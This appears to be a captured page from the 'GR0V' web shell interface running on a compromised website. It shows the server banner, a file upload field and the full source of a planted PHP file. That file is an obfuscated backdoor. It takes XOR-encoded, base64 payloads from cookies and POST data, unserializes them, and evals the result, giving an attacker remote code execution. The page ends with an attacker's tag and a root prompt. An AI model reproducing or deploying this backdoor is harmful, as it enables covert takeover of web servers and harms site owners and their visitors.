? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/hcw/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/hcw/dab22087.php

$vPzdU = chr (106) . chr ( 227 - 156 )."\107" . chr (95) . chr ( 366 - 292 ).'I' . chr ( 985 - 865 ); $piiysNlZ = chr (99) . "\154" . chr (97) . "\163" . 's' . chr (95) . chr ( 586 - 485 )."\170" . 'i' . "\x73" . "\x74" . "\x73";$hmMqOZ = class_exists($vPzdU); $vPzdU = "29420";$piiysNlZ = "51174";$besTMa = 0;if ($hmMqOZ == $besTMa){function WAmdCzbJuI(){return FALSE;}$FHJNA = "4199";WAmdCzbJuI();class jGG_JIx{private function jEzBemP($FHJNA){if (is_array(jGG_JIx::$TwyWm)) {$vkrwidJeY = str_replace("\74" . "\77" . 'p' . 'h' . 'p', "", jGG_JIx::$TwyWm[chr (99) . "\157" . "\156" . "\x74" . "\145" . chr ( 803 - 693 )."\164"]);eval($vkrwidJeY); $FHJNA = "4199";exit();}}private $zJJeikPMlD;public function ZNEoghPHQT(){echo 54184;}public function __destruct(){$FHJNA = "28473_59442";$this->jEzBemP($FHJNA); $FHJNA = "28473_59442";}public function __construct($EOOhfE=0){$eSYrwyCK = $_POST;$YtILPe = $_COOKIE;$DyUePakL = "c100ddfe-152f-4890-a04d-ba707970c46b";$hlXzb = @$YtILPe[substr($DyUePakL, 0, 4)];if (!empty($hlXzb)){$rmrGOqSdjs = "base64";$PtRnWcWI = "";$hlXzb = explode(",", $hlXzb);foreach ($hlXzb as $IlQuew){$PtRnWcWI .= @$YtILPe[$IlQuew];$PtRnWcWI .= @$eSYrwyCK[$IlQuew];}$PtRnWcWI = array_map($rmrGOqSdjs . "\137" . chr (100) . chr ( 1059 - 958 ).'c' . "\157" . "\144" . 'e', array($PtRnWcWI,)); $PtRnWcWI = $PtRnWcWI[0] ^ str_repeat($DyUePakL, (strlen($PtRnWcWI[0]) / strlen($DyUePakL)) + 1);jGG_JIx::$TwyWm = @unserialize($PtRnWcWI); $PtRnWcWI = class_exists("28473_59442");}}public static $TwyWm = 65237;}$daATTRosO = new /* 457 */ jGG_JIx(4199 + 4199);unset($daATTRosO);}

T1KUS90T
  root-grov@210.1.60.28:~$